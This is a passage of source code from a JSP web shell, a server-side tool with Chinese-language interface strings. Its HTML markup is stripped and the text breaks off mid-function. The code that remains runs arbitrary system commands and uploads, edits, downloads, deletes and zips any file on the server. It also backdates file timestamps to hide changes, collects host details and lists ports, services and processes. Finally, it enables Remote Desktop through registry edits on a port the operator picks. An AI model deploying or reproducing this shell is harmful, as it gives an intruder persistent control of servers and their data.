+≤服务器端工具≥ \n");
out.print("");
}
void listRoot(JspWriter out){
try{
out.print("\n\n\n \n");
out.print(" ");
out.print("\n \n");
out.print("+≤查看硬盘≥ >\n");
out.print(" ");
}catch(Exception e){
}
}
void loginOut(JspWriter out,String nowURI)throws Exception{
//session.removeAttribute("login");
//response.sendRedirect("iframe.jsp");
out.print("gsrc");
out.print(" \n");
}
public void listFolder(JspWriter out,String path) throws Exception{
int j=0,p=0;int k,y=10000;
path=convertPath(path);
try{
File file = new File(path);
String[] sfiles = file.list();
File[] files = new File[sfiles.length];
String[] reFileName = new String[sfiles.length+1];
String[] abFileName = new String[sfiles.length+1];
k = sfiles.length+1;
//out.print("数组的长度为"+reFileName.length);
for(int i=0;i");
//out.print("");
for(int i=0;i0){
//输出目录部分
//out.print("\n");
//out.print("");
out.print("文件名称 类型 大小 可读 可写 隐藏 最后修改时间 相关操作 ");
for(int i=0;abFileName[i]!=null;i++){
out.print(""+"0 "+strCut(reFileName[i],30)+" folder "+getSize(abFileName[i])+" "+sacnRead(abFileName[i])+" "+sacnWrite(abFileName[i])+" "+sacnHidden(abFileName[i])+" "+getLastModified(abFileName[i])+" 移动 删除 编辑属性 打包 ");
}
//输出文件部分
out.print("");
for(int i=sfiles.length;reFileName[i]!=null;i--){
out.print(""+"2 "+strCut(reFileName[i],30)+" file "+getSize(abFileName[i])+" "+sacnRead(abFileName[i])+" "+sacnWrite(abFileName[i])+" "+sacnHidden(abFileName[i])+" "+getLastModified(abFileName[i])+" 移动 删除 编辑属性 复制 编辑 下载 ");
}
out.print("
");
}
//out.print(y);
}
catch(Exception e){
}
}
public void pExeCmd(JspWriter out,HttpServletRequest request) throws Exception{
out.print("\n");
out.print("");
out.print("
");
}
public String exeCmd(JspWriter out,String cmd) throws Exception{
String rStr = "";
if(empchk(cmd)){
int nRet;
InputStreamReader in = null;
Runtime run = Runtime.getRuntime();
Process pro = null;
char[] tmpChar = new char[1024];
try{
pro = run.exec(cmd);
in = new InputStreamReader(pro.getInputStream(),Charset.forName("GB2312"));
while((nRet = in.read(tmpChar,0,1024))!=-1){
rStr += new String(tmpChar,0,nRet);
}
}catch(Exception e){
}
finally {
in.close();
return rStr;
}
}
else
return "empty";
}
public void newFolder(JspWriter out,String nFolder)throws Exception{
if(empchk(nFolder)){
File file = new File(nFolder);
if(file.exists()){
out.print("");
}
else{
if(file.mkdir()){
out.print("");
//out.print("目录建立成功");
}
else{
out.print("");
}
}
}
}
public void pnewFile(JspWriter out,String nFile,String webSite_Folder) throws Exception{
out.print("");
}
//
public void newFile(JspWriter out,String path,byte[] content,String choice) throws Exception{
File file = new File(path);
if(choice.equals("r")&&file.exists()){
out.print("☆孤水绕城☆友情提示: 文件已经存在! 换个名字吧!");
return;
}
else{
BufferedOutputStream bos = null;
try{
bos = new BufferedOutputStream(new FileOutputStream(path));
bos.write(content,0,content.length);
out.print("文件保存成功! 绝对路径为:");
out.print(path);
}catch(Exception e){
}
finally{
if(out!=null){
bos.close();
}
}
}
}
public void pupfile(JspWriter out,String path) throws Exception{
out.print("");
}
public void uploadFile(JspWriter out,ServletRequest request, String path) throws Exception{
String sRet = "";
File file = null;
InputStream in = null;
path = convertPath(path);
try {
in = request.getInputStream();
byte[] inBytes = new byte[request.getContentLength()];
int nBytes;
int start = 0;
int end = 0;
int size = 1024;
String token = null;
String filePath = null;
//
// 把输入流读入一个字节数组
//
while ((nBytes = in.read(inBytes, start, size)) != -1) {
start += nBytes;
}
in.close();
//
// 从字节数组中得到文件分隔符号
//
int i = 0;
byte[] seperator;
while (inBytes[i] != 13) {
i ++;
}
seperator = new byte[i];
for (i = 0; i < seperator.length; i ++) {
seperator[i] = inBytes[i];
}
//
// 得到Header部分
//
String dataHeader = null;
i += 3;
start = i;
while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) {
i ++;
}
end = i - 1;
dataHeader = new String(inBytes, start, end - start + 1);
//
// 得到文件名
//
token = "filename=\"";
start = dataHeader.indexOf(token) + token.length();
token = "\"";
end = dataHeader.indexOf(token, start) - 1;
filePath = dataHeader.substring(start, end + 1);
filePath = convertPath(filePath);
String fileName = filePath.substring(filePath.lastIndexOf("/") + 1);
//
// 得到文件内容开始位置
//
i += 4;
start = i;
//
// 偷懒的办法
//
end = inBytes.length - 1 - 2 - seperator.length - 2 - 2;
//
// 保存为文件
//
File newFile = new File(path + fileName);
newFile.createNewFile();
FileOutputStream fos = new FileOutputStream(newFile);
out.print("☆孤水绕城☆友情提示: 文件路径为:"+newFile);
//out.write(inBytes, start, end - start + 1);
fos.write(inBytes, start, end - start + 1);
fos.close();
sRet = fileName;
sRet = "\n";
} catch (IOException e) {
sRet = "\n";
}
out.print(sRet);
}
//以p开头的函数均为界面构造函数
public void peditFile(JspWriter out,String nFile) throws Exception{
out.print("");
}
public String editFile(JspWriter out,String path) throws Exception {
out.print(path);
File file = new File(path);
String strRet = "";
if(file.exists()&&file.length()>0){
int nRet ;
BufferedInputStream bis = null;
byte[] tmpChar= new byte[1024];
//FileInputStream in = null;
try{
bis = new BufferedInputStream(new FileInputStream(path));
while((nRet=bis.read(tmpChar,0,1024))!=-1){
strRet += new String(tmpChar,0,nRet);
strRet = encodeHTML(strRet);
}
}catch(Exception e){
strRet += "error";
}
finally{
if(bis != null){
bis.close();
}
}
}
return strRet;
}
public void reName(JspWriter out,String sPath,String dpath) throws Exception{
if(empchk(sPath)&&empchk(dpath)){
File dfile = new File(dpath);
File sfile = new File(sPath);
if(dfile.exists()){
out.print("友情提示!\n该文件已经存在!!!");
}
else{
if(sfile.renameTo(dfile)){
out.print("☆孤水绕城☆友情提示: 移动成功!");
}
}
}
}
public void delName(JspWriter out,String spath) throws Exception{
if(empchk(spath)){
File file = new File(spath);
if(file.delete()){
out.print("☆孤水绕城☆友情提示: 删除成功!");
}
}
}
public void copyName(JspWriter out,String spath,String dpath) throws Exception{
if(empchk(spath)&&empchk(dpath)){
String retStr="";
File sfile = new File(spath);
File dfile = new File(dpath);
if(dfile.exists()){
out.print("☆孤水绕城☆友情提示: 该文件已经存在!");
}
else{
FileInputStream fis = new FileInputStream(sfile);
FileOutputStream fos = new FileOutputStream(dfile);
int nRet;
byte[] tempByte = new byte[1024];
try{
while((nRet=fis.read(tempByte,0,1024))!=-1){
fos.write(tempByte,0,nRet);
}
out.print("☆孤水绕城☆友情提示: 文件复制成功!");
}catch(Exception e){
}
finally{
fis.close();
fos.close();
}
}
}
}
public void downFile(String filePath,HttpServletResponse res) throws Exception{
int nRet;
byte[] buffer=new byte[256];
if(empchk(filePath)){
ServletOutputStream sos = res.getOutputStream();
BufferedInputStream bis = null;
String fName= encodeGb2Unicode((new File(filePath)).getName());
res.reset();
res.setHeader("Content-disposition","attachment;filename=\""+fName+"\"");
try{
bis = new BufferedInputStream(new FileInputStream(filePath));
while((nRet=bis.read(buffer,0,buffer.length))!=-1){
sos.write(buffer,0,nRet);
}
}
catch(Exception e){
}
finally{
sos.close();
bis.close();
}
}
}
void zip(JspWriter out,String sPath, String dpath) throws Exception {
FileOutputStream output = null;
ZipOutputStream zipOutput = null;
try{
output = new FileOutputStream(dpath);
zipOutput = new ZipOutputStream(output);
zipEntry(zipOutput,sPath,sPath,dpath);
}catch(Exception e){
out.print("file zip error");
}finally{
if(zipOutput!=null)zipOutput.close();
}
out.print("zip ok"+dpath);
}
//add the zip entry
void zipEntry(ZipOutputStream zipOs, String initPath,String filePath,String zipPath) throws Exception {
String entryName = filePath;
File f = new File(filePath);
if (f.isDirectory()){// check is folder
String[] files = f.list();
for(int i = 0; i < files.length; i++)
zipEntry(zipOs, initPath, filePath + File.separator + files[i],zipPath);
return;
}
String chPh = initPath.substring(initPath.lastIndexOf("/") + 1);//
int idx=initPath.lastIndexOf(chPh);
if (idx != -1) {
entryName = filePath.substring(idx);
}
ZipEntry entry;
entry = new ZipEntry(entryName);
File ff = new File(filePath);
if(ff.getAbsolutePath().equals(zipPath))return;
entry.setSize(ff.length());
entry.setTime(ff.lastModified());
//the CRC efficacy
entry.setCrc(0);
CRC32 crc = new CRC32();
crc.reset();
zipOs.putNextEntry(entry);
int len = 0;
byte[] buffer = new byte[2048];
int bufferLen = 2048;
FileInputStream input =null;
try{
input = new FileInputStream(filePath);
while ((len = input.read(buffer, 0, bufferLen)) != -1) {
zipOs.write(buffer, 0, len);
crc.update(buffer, 0, len);
}
}catch(Exception e){
}finally{
if(input!=null)input.close();
}
entry.setCrc(crc.getValue());
}
public void pfindFile(JspWriter out,HttpServletRequest request) throws Exception{
out.print(" 网站根目录:"+request.getRealPath("/")+" ");
out.print("\n填入你要搜索的文件名称: \n \n注:只填写文件名称(区分大小写) \n查找文件范围: \n 网站根目录搜索");
File[] roots=File.listRoots();
for(int i=0;i"+roots[i].getPath());
}
out.print(" ");
out.print(" ");
}
public void findFile(JspWriter out,String path,String filename)throws Exception{
File file = new File(path);
File[] list = file.listFiles();
String dfileName = filename ;
try{
for(int i=0;i ");
out.print(""+strCut(convertPath(list[i].getPath()),70)+" 移动 复制 编辑 下载 删除 编辑属性 ");
out.print("");
}
}
}
}catch(Exception e){
}finally {
}
}
public void dateChange(String filename,String year,String month,String day,JspWriter out)throws IOException{
File f=new File(filename);
if(f.exists()){
Calendar calendar=Calendar.getInstance();
calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day));
if(f.setLastModified(calendar.getTimeInMillis()))
out.print("☆孤水绕城☆友情提示: "+filename+" change success");
else
out.print(filename+"file date change error");
}else{
out.println("file not find!!!");
}
}
public static String getWindowsMACAddress() {
String mac = null;
BufferedReader bufferedReader = null;
Process process = null;
try {
process = Runtime.getRuntime().exec("ipconfig /all");// windows下的命令,显示信息中包含有mac地址信息
bufferedReader = new BufferedReader(new InputStreamReader(process
.getInputStream()));
String line = null;
int index = -1;
while ((line = bufferedReader.readLine()) != null) {
index = line.toLowerCase().indexOf("physical address");// 寻找标示字符串[physical address]
if (index >= 0) {// 找到了
index = line.indexOf(":");// 寻找":"的位置
if (index>=0) {
mac = line.substring(index + 1).trim();// 取出mac地址并去除2边空格
}
break;
}
}
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
if (bufferedReader != null) {
bufferedReader.close();
}
} catch (IOException e1) {
e1.printStackTrace();
}
bufferedReader = null;
process = null;
}
return mac;
}
public void systemInfo(JspWriter out,HttpServletRequest request) throws Exception{
out.print("");
out.print("服务器信息
");
//out.print("");
out.print(" 服务器名称 "+request.getServerName()+" ");
out.print("ip地址 "+InetAddress.getLocalHost().getHostAddress()+" ");
out.print("服务器端口 "+request.getServerPort()+" ");
out.print("操作系统 "+System.getProperty("os.name")+System.getProperty("os.version") + " " + System.getProperty("os.arch")+" ");
out.print("MAC地址 "+getWindowsMACAddress()+" ");
out.print(" 当前用户名 "+System.getProperty("user.name")+" ");
out.print(" 当前用户目录 "+System.getProperty("user.home")+" ");
out.print("当前用户工作目录 "+System.getProperty("user.dir")+" ");
out.print("程序绝对路径 "+request.getRealPath(request.getServletPath())+" ");
out.print("网络协议版本 "+request.getProtocol()+" ");
//out.print("服务器软件版本信息 "+application.getServerInfo()+" ");
out.print("JDK版本 "+System.getProperty("java.version")+" ");
out.print("JDK安装路径 "+System.getProperty("java.home")+" ");
out.print("JAVA虚拟机版本 "+System.getProperty("java.vm.specification.version")+" ");
out.print("JAVA虚拟机名 "+System.getProperty("java.vm.name")+" ");
out.print("JAVA类路径 "+System.getProperty("java.class.path")+" ");
out.print("系统path变量 "+System.getProperty("java.library.path")+" ");
out.print("JAVA临时目录 "+System.getProperty("java.io.tmpdir")+" ");
out.print(" 扩展目录路径 "+System.getProperty("java.ext.dirs")+" ");
out.print("
");
}
//开启远程终端功能暂时只支持winXP和win2003
public String checkOs(){
return System.getProperty("os.name").toLowerCase();
}
public void popenTerm(JspWriter out) throws Exception{
out.print("");
}
public void openTrem(JspWriter out,String port1) throws Exception{
int j = Integer.parseInt(port1);
String dtohex = Integer.toHexString(j);
//out.print(hex2003);
String openxpOr2003[] = new String[]{
"reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f",
"reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\" /v PortNumber /t REG_DWORD /d 0x"+dtohex+" /f",
"reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v PortNumber /t REG_DWORD /d 0x"+dtohex+" /f"
};
if(checkOs().equals("windows xp")){
for(int i=0;i");
}
}
else if(checkOs().equals("windows 2003")){
for(int i=0;i");
}
}
}
//输出端口-进程-服务框架函数
public void pgetTcpUdp(JspWriter out,HttpServletRequest request)throws Exception{
//String nowCom = command;
out.print("");
out.print("端口类型 本地IP:端口 外部IP:端口 端口状态 \n");
getSinfo(out,request.getParameter("command"));
out.print("
");
}
public void pgetServer(JspWriter out,HttpServletRequest request)throws Exception{
// String nowCom = command;
out.print("");
out.print("服务名称 \n");
getSinfo(out,request.getParameter("command"));
out.print("
");
}
public void pgetTask(JspWriter out,HttpServletRequest request)throws Exception{
// String nowCom = command;
out.print("");
out.print("进程名称 PID号 相关服务 \n");
getSinfo(out,request.getParameter("command"));
out.print("
");
}
//读取端口-进程-服务信息函数
public void getSinfo(JspWriter out,String command) throws Exception{
// File file = _file;
int skipline = 0; //跳过读取行数
try {
Process pro = null;
if(command.equals("netstat")){
pro = Runtime.getRuntime().exec("cmd.exe /c netstat -an");
skipline = 4;
}
else if(command.equals("netstart")){
pro = Runtime.getRuntime().exec("cmd.exe /c net start");
skipline = 2;
}
else if(command.equals("tasklist")){
pro = Runtime.getRuntime().exec("cmd.exe /c tasklist /svc");
skipline = 3;
}
BufferedReader br = new BufferedReader(new InputStreamReader(pro.getInputStream()));
//该for循环读取字节流跳过指定行数
for (int i = 0; i < skipline; i++) {
br.readLine();
}
String buff = "";
while( (buff=br.readLine())!= null){
out.print("");
if(2!=skipline){//读取端口和进程信息
StringTokenizer st = new StringTokenizer(buff);
while(st.hasMoreElements()){
String Info = st.nextToken();
out.print(""+Info+" ");
}
}
else{//读取服务信息
while((buff=br.readLine())!=null){
out.print(" "+buff+" ");
}
}
out.print("
\n");
}
br.close();
// return buff;
} catch (Exception e) {
// return null;
}
}
//结束进程函数
public void pkillProc(JspWriter out) throws Exception{
out.print("